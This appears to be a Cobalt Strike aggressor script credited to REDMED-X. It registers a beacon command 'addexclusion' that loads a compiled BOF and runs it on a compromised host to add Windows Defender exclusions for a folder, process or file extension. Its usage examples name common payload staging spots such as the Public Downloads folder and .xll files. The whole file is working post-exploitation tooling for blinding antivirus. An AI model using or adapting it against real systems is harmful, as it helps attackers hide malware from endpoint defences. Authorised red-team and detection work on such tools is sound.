addexclusion.cna 1.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546
  1. # author REDMED-X
  2. beacon_command_register(
  3. "addexclusion", "Add a new exclusion to Windows Defender for a folder, file, process or extension.",
  4. "INFO:\nAdd a new exclusion to Windows Defender for a folder, file, process or extension.\n\n" .
  5. "ARGUMENTS:\n[<exclusion type>]: specify one of the following exclusion types: path (file/folder), process, extension.\n[<exclusion data>]: specify the data to add as an exclusion.\n\n" .
  6. "USAGE:\naddexclusion <exclusion type> <exclusion data>\n\n" .
  7. "EXAMPLES:\naddexclusion path C:\\Users\\Public\\Downloads\naddexclusion process example.exe\naddexclusion extension .xll\n\n");
  8. alias addexclusion {
  9. $bid = $1;
  10. $excltype = $2;
  11. $excldata = $3;
  12. if ($excltype eq "") {
  13. berror($bid, "Please specify one of the following extension types: path | process | extension.\n");
  14. return;
  15. }
  16. if ($excltype eq "path" || $excltype eq "process" || $excltype eq "extension") {
  17. if ($excldata eq "") {
  18. berror($bid, "Please specify the data to add as an exclusion.\n");
  19. return;
  20. }
  21. }
  22. else {
  23. berror($bid, "This exclusion type isn't supported. Please specify one of the following options: path | process | extension.\n");
  24. return;
  25. }
  26. # Read in the right BOF file
  27. $handle = openf(script_resource("addexclusion.o"));
  28. $data = readb($handle, -1);
  29. closef($handle);
  30. # Pack our arguments
  31. $arg_data = bof_pack($bid, "zZ", $excltype, $excldata);
  32. blog($bid, "Tasked to add a new exclusion..");
  33. beacon_inline_execute($bid, $data, "go", $arg_data);
  34. }